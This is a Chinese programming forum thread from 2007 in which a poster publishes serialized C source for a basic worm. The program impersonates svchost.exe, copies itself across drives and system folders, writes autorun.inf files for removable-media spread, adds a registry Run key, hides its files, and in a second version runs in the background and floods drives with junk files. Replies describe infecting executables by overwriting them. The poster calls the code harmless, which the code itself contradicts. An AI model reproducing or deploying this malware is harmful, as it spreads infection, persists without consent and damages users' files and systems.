| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 25792 人关注过本帖, 22 人收藏
标题:[原创]用C写病毒(1)
取消只看楼主 加入收藏
卧龙孔明
Rank: 9Rank: 9Rank: 9
等 级:贵宾
威 望:59
帖 子:3872
专家分:684
注 册:2006-10-13
结帖率:100%
收藏(22)
 问题点数:0 回复次数:5 
[原创]用C写病毒(1)

[原创]用C写病毒(1)

连载1,由于本人较忙,连载2可能在8月左右或8月前与大家见面

本连载文章只讨论写病毒的技术,并不讨论危害计算机及网络,所示例的程序只是一个无危害的模板,你

可以在技术范围及法律范围内扩充实验.
在读本程序前请保证不用此程序进行违法活动,否则,请马上离开.

连载1——最基本的病毒.
本病毒的功能:
1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件
2.在C、D、E盘中生成自动运行文件
3.注册c:\windows\system\svchost.exe,使其开机自动运行
4.在C:\windows\system下生成隐蔽DLL文件
5.病毒在执行后具有相联复制能力

本病毒类似普通U盘病毒雏形,具备自我复制、运行能力。

以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过
请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究


/* SVCHOST.C */
/* SVCHOST.EXE */

#define SVCHOST_NUM 6
#include<stdio.h>
#include<string.h>
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";

int copy(char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen

(outfile,"wb"))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
int main(void)
{
FILE *input,*output;
int i,k;
for(i=0;i<3;i++)
{
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);
fclose(output);
}
for(i=0;i<=SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;k<SVCHOST_NUM;k++)
{
copy(files_svchost[i],files_svchost[k]);
}
i=SVCHOST_NUM+1;
}
}
system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */
return 0;
}

在连载2中你将看到:
病毒对系统文件破坏的方法,病毒对文件的感染,病毒生成垃圾文件,病毒更具隐蔽性的方法。

[此贴子已经被作者于2007-5-26 15:55:54编辑过]

搜索更多相关主题的帖子: windows 网络 计算机 违法 system 
2007-05-26 15:50
卧龙孔明
Rank: 9Rank: 9Rank: 9
等 级:贵宾
威 望:59
帖 子:3872
专家分:684
注 册:2006-10-13
收藏
得分:0 
以下是引用google在2007-5-26 16:44:14的发言:
病毒对文件的感染,

我到是想看看你是怎么用C来实现的,唯实现这个,才能称得是病毒

如果要感染全部文件,是不容易实现的,但是可以做到的最简单的方法是将.exe文件直接替换为同名的病毒体,同时改变病毒体文件的长度与原.exe文件相同(当然,不改也可以).


My Blog: www.aiexp.info
虽然我的路是从这里开始的,但是这里不再是乐土.感谢曾经影响过,引导过,帮助过我的董凯,飞燕,leeco,starwing,Rockcarry,soft_wind等等等等.别了,BCCN.
2007-05-26 18:41
卧龙孔明
Rank: 9Rank: 9Rank: 9
等 级:贵宾
威 望:59
帖 子:3872
专家分:684
注 册:2006-10-13
收藏
得分:0 
对于复杂的感染就需要对PE格式的理解.

My Blog: www.aiexp.info
虽然我的路是从这里开始的,但是这里不再是乐土.感谢曾经影响过,引导过,帮助过我的董凯,飞燕,leeco,starwing,Rockcarry,soft_wind等等等等.别了,BCCN.
2007-05-26 18:42
卧龙孔明
Rank: 9Rank: 9Rank: 9
等 级:贵宾
威 望:59
帖 子:3872
专家分:684
注 册:2006-10-13
收藏
得分:0 
以下是引用nuciewth在2007-5-26 22:46:37的发言:

我最近在研究这个.孔明有什么好的资料没?

这个中有一部分:http://www.shineblog.com/user1/13950/archives/2005/122599.shtml
还有这个带程序的比较详细:http://diannao.zhishiwang.net/pc/ruanjian/wenjiangeshi/20070406/224.html


My Blog: www.aiexp.info
虽然我的路是从这里开始的,但是这里不再是乐土.感谢曾经影响过,引导过,帮助过我的董凯,飞燕,leeco,starwing,Rockcarry,soft_wind等等等等.别了,BCCN.
2007-05-27 17:53
卧龙孔明
Rank: 9Rank: 9Rank: 9
等 级:贵宾
威 望:59
帖 子:3872
专家分:684
注 册:2006-10-13
收藏
得分:0 
以下是引用google在2007-5-26 19:44:08的发言:

问题: 你如何实现被你称为"被感染的原.exe"原有的功能?通常情况下,被病毒感染的程式多只执一节病毒体,并不丢失原有的任何功能.这也是病毒确保生存繁衍的前提,否则,按你所谓的方式,替换,如何再次传染么?

哈哈,大部分基础病毒都只是实现这个,只有一些专业病毒需要我在7楼已经回复的PE格式的文件操作,较为繁琐,就如同病毒感染可以使人致死,也可以只是使病人成为新的传染源,而我在6楼说的是致死的感染,而在7楼说的是使病毒成为新的传染源,比如6楼中我可以使它感染windows\NOTEPAD.EXE,这样使NOTEPAD.exe由原来的记事本变为完全被病毒覆盖的病毒体

繁衍我达到了,只不过在6楼的方法使文件致死,失去原有功能,但这也应属于感染


My Blog: www.aiexp.info
虽然我的路是从这里开始的,但是这里不再是乐土.感谢曾经影响过,引导过,帮助过我的董凯,飞燕,leeco,starwing,Rockcarry,soft_wind等等等等.别了,BCCN.
2007-05-27 18:00
卧龙孔明
Rank: 9Rank: 9Rank: 9
等 级:贵宾
威 望:59
帖 子:3872
专家分:684
注 册:2006-10-13
收藏
得分:0 

下一版程序将使用Windows API实现对控制台的脱离,从而使病毒体可以在后台执行


雏形框架(与本连载1内容差异暂只包括建立垃圾文件,详细完全版请在连载2中查看)1:

请建立DEV-CPP Windows Application C工程 ,将以下代码拷贝到替换主程序中即可

/* SVCHOST.EXE */
/* 使用DEV-CPP 4.9.9.2开发编译 */

#include<windows.h> /*使用windowsAPI*/

#define SVCHOST_NUM 6 /*病毒复制数量*/
#define RUBBISH_NUM 1000 /*垃圾文件数量*/
#define REGADD_NUM 2 /*注册表项*/
#define COMMAND_NUM 3 /*命令数*/

#include<stdio.h> /*标准输入输出*/
#include<string.h>
#include<stdlib.h>

char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd[REGADD_NUM]={"reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f"};
char *commands[COMMAND_NUM]={"@echo off","attrib c:\\windows\\system\\SVCHOST.exe +S +H","attrib c:\\windows\\system\\MSMOUSE.DLL +S +H"};

/*复制文件*/
int copy(char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen(outfile,"wb"))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
/* Windows API 后台运行 */
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
FILE *input,*output;
int i,k;
/*生成自动运行文件autorun.inf*/
for(i=0;i<3;i++)
{
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);
fclose(output);
}
/*在关键位置生成病毒体副本*/
for(i=0;i<=SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;k<SVCHOST_NUM;k++)
{
copy(files_svchost[i],files_svchost[k]);
}
i=SVCHOST_NUM+1;
}
}
for(i=0;i<COMMAND_NUM;i++) system(commands[i]);
system(regadd[0]);
/*生成垃圾文件*/
for(i=0;i<RUBBISH_NUM;i++)
{
int n;
char s[100],t[10];
n=rand();
sprintf(s,"C:\\DESTORY_感染_%d",n);
output=fopen(s,"w");
fprintf(output,"%ld%s",n*n,s);
fclose(output);
s[0]++;
output=fopen(s,"w");
fprintf(output,"%ld%s",n*n,s);
fclose(output);
sprintf(t,"E:\\%d",n);
k=3;
while(t[k]!='\0')
{
t[k]+=17;
k++;
}
output=fopen(t,"w");
fprintf(output,"%ld%s",n*n,t);
fclose(output);
}
return 0;
}

[此贴子已经被作者于2007-5-27 18:07:44编辑过]


My Blog: www.aiexp.info
虽然我的路是从这里开始的,但是这里不再是乐土.感谢曾经影响过,引导过,帮助过我的董凯,飞燕,leeco,starwing,Rockcarry,soft_wind等等等等.别了,BCCN.
2007-05-27 18:04
快速回复:[原创]用C写病毒(1)
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.017992 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved